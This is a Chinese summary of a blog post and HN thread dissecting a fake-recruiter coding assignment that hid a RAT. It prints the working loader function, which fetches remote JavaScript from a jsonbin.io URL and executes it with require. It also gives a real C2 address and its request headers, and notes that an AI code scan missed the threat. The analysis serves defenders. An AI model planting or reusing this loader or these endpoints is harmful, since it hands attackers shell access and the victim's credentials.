如何用一场面试搞垮你的系统:藏在编程作业里的 RAT

查看原文 HN 讨论

文章摘要

Benjamin Le Roux(博客 codedge.de)在 2026 年 8 月 17 日发布了这篇取证式的复盘:他一位朋友差点在一场「面试」中把整台机器交出去。攻击的社工外壳非常贴合当下——IT 就业市场艰难,LinkedIn 上一个招聘者带着与你过往经历高度匹配的「相关机会」找上来,兼职远程、时薪很好,聊了几条消息后就直接把编程作业发过来,跳过了所有中间流程。整个身份是冒用一家毫不知情的公司之名,纯粹的钓鱼;那家公司事后在 LinkedIn 上发帖说明了情况。

作者列出的事后可辨识的疑点包括:联系人在 LinkedIn 上并不属于那家公司;在收到编程测试之前根本没有任何「相互认识一下」的通话;测试用的编程语言并非你擅长的语言;代码托管在 Bitbucket(作者认为这不常见);发件邮箱是 @gmail.com 而不是公司的官方域名。

攻击链路的第一环。作业本身是一个 TypeScript 代码库,要求你解决若干问题、扩展逻辑。这个项目大约 180 个文件,混杂了死代码和能跑的代码,完全没有混淆或压缩——恰恰因为看起来干干净净,才没人会逐个文件去读。恶意逻辑藏在一个名字平平无奇的函数里:initPriceConfighttps://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d 用 axios 拉一段字符串,然后走 new (Function.constructor)('require', res.data.record.model) 把它构造成一个函数,并require 本身作为参数传进去,随即调用。

const initPriceConfig = async () => {
  const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
  const res = (await axios.get(`${src}`));
  const handler = new (Function.constructor)('require', res.data.record.model);
  if (handler) handler(require);
};
initPriceConfig();

关键在于这个函数是应用内部逻辑「总是最先执行」的那一个——只要你敲 npm run devnpm start,它就跑起来了。注意这里连 post-install 脚本都不需要:require 一旦被交到远端下发的代码手里,它就可以 require('child_process') 拿到 shell、require('fs') 读写并遍历文件系统做持久化、require('net') / require('https') 开自己的外泄通道,还能直接读 process.env——在这个应用里意味着 MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY。

第二环:远程加载器。jsonbin.io 返回的 record.model 是 24,686 个字符的 obfuscator.io 混淆 JavaScript,里面包着一个小的 webpack bundle,本质上就是一个远程代码执行加载器。反混淆之后得到又一层混淆代码,它会去 C2(命令与控制)服务器 http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 取下一段。作者用 curl 复现了这一步,发现该端点要求带一个 Authentication: jwt 头,且 User-Agent 伪装成 axios/1.5.3

第三环:四个功能模块

为什么不需要提权。这是全文最值得记住的一段:整条攻击链从不请求 elevation,不需要 root、UAC 或 sudo,因为它想要的东西没有一样是 root 所有的。SSH 密钥、AWS 凭据、浏览器 profile、钱包数据、.env 文件,全部按设计就属于当前用户——因为你自己需要例行读它们。一个以你的账号身份运行的进程天然继承这些权限;Node 在这里没做任何异常的事,从 shell 里 cat ~/.ssh/id_rsa 效果完全一样。

回连方向的设计意图。当受害者向 147.189.174.138:7321 发起出站连接时,服务器就像任何 web 服务器看到访客 IP 那样,从 accept 到的 socket 上直接读出源地址——不需要探测、不需要扫描、不需要注册地址。作者点明了这种「纯出站」设计对攻击者的便利:它能穿过 NAT、CGNAT、企业代理或家用路由器,零配置,而且受害者 IP 变了也无所谓。

防护手段的分级评估。作者对三种办法给了不同的评价。AI:弱保护——让 AI 扫描项目里的异常(混淆代码、压缩、外部端点调用、异常模式)只是部分方案,它能告诉你有一次 jsonbin.io 调用,但它看不见返回值是什么;文末的补注说得更直白:Claude Code 在只被提示「扫描代码库里的异常模式」时,什么可疑的东西都没发现Docker:部分弱保护——把东西放进 Docker 里只在容器内执行,能隔离宿主系统、不暴露任何已存储的密钥,前提是你不把宿主数据挂载进容器。Vagrant / 完整虚拟机:大概是最佳选择——事前快照、事后恢复;如果没有 UI/桌面环境,泄露浏览器数据和截图的模块就自我受限了,不过 RAT 和文件抓取器照样能用。这里作者补了一个重要细节:那个 RAT 主动做 VM 指纹识别,它运行 system_profiler、读 /proc/cpuinfo,grep 关键词 vmwareqemumicrosoft corporation,然后给回连信标打上 (VM) 或 (Local) 标记——这个标记很可能用于操作员的分诊:虚拟机更可能是沙箱、更不可能装着真钱包,所以可能被降级处理或更小心地对待。

已经中了怎么办:吊销并轮换 SSH 密钥、改密码、检查所有明文存储的密钥和信息、然后重装操作系统——安全总比后悔好。那个假招聘者的 profile 此时已被删除。

HN 评论精华

这条帖子 187 分、170 条评论。需要说明的是:讨论的重心并不在恶意软件的技术细节上,而是迅速滑向了两个只与文章沾边的话题——一是 LinkedIn 招聘生态有多烂、如何识别假招聘者,二是「公司凭什么要求候选人自备电脑」,后者进一步演变成一场关于精英主义(meritocracy)、职场民主乃至美国业主协会(HOA)的长篇政治哲学辩论,占了整个评论区相当大的篇幅。安全类的干货集中在少数几条里。